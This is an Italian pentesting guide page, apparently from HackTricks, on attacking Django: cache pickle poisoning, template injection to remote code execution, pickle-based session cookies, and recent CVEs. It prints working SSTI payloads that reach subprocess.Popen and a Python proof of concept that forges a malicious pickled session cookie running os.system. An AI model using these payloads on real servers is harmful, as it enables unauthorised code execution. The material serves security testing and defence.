80 lines
5.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Django
{{#include /src/banners/hacktricks-training.md}}
## Manipolazione della Cache per RCE
Il metodo di archiviazione della cache predefinito di Django è [Python pickles](https://docs.python.org/3/library/pickle.html), che può portare a RCE se [l'input non attendibile viene de-pickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante**.
La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore d'attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
Questo rapporto di HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
---
## Iniezione di Template lato Server (SSTI)
Il Django Template Language (DTL) è **Turing-completo**. Se i dati forniti dall'utente vengono resi come una *stringa di template* (ad esempio chiamando `Template(user_input).render()` o quando `|safe`/`format_html()` rimuove l'auto-escaping), un attaccante può ottenere SSTI completo → RCE.
### Rilevamento
1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includano *qualsiasi* dato di richiesta non sanitizzato.
2. Invia un payload basato su tempo o aritmetico:
```django
{{7*7}}
```
Se l'output reso contiene `49`, l'input è compilato dal motore di template.
### Primitiva a RCE
Django blocca l'accesso diretto a `__import__`, ma il grafo degli oggetti Python è raggiungibile:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Trova l'indice di `subprocess.Popen` (≈400500 a seconda della build di Python) ed esegui comandi arbitrari:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Un gadget universale più sicuro è iterare fino a `cls.__name__ == 'Popen'`.
Lo stesso gadget funziona per le funzionalità di rendering dei template di **Debug Toolbar** o **Django-CMS** che gestiscono male l'input dell'utente.
---
## RCE con Cookie di Sessione Basato su Pickle
Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decritta e deserializza* il cookie di sessione **prima** di chiamare qualsiasi codice di vista. Pertanto, possedere una chiave di firma valida (il `SECRET_KEY` del progetto per impostazione predefinita) è sufficiente per un'immediata esecuzione remota di codice.
### Requisiti per l'Exploit
* Il server utilizza `PickleSerializer`.
* L'attaccante conosce / può indovinare `settings.SECRET_KEY` (leak tramite GitHub, `.env`, pagine di errore, ecc.).
### Prova di Concetto
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Invia il cookie risultante e il payload viene eseguito con i permessi del worker WSGI.
**Mitigazioni**: Mantieni il `JSONSerializer` predefinito, ruota `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.
---
## Recenti (2023-2025) CVE Django ad Alto Impatto che i Pentester Dovrebbero Controllare
* **CVE-2025-48432** *Iniezione di Log tramite `request.path` non escapato* (risolto il 4 giugno 2025). Consente agli attaccanti di introdurre nuove righe/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Iniezione SQL critica* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Crea chiavi JSON per uscire dalle virgolette ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
Fingerprint sempre la versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.
---
## Riferimenti
* Rilascio di sicurezza Django "Django 5.2.2, 5.1.10, 4.2.22 affrontano CVE-2025-48432" 4 giu 2025.
* OP-Innovate: "Django rilascia aggiornamenti di sicurezza per affrontare il difetto di iniezione SQL CVE-2024-42005" 11 ago 2024.
{{#include /src/banners/hacktricks-training.md}}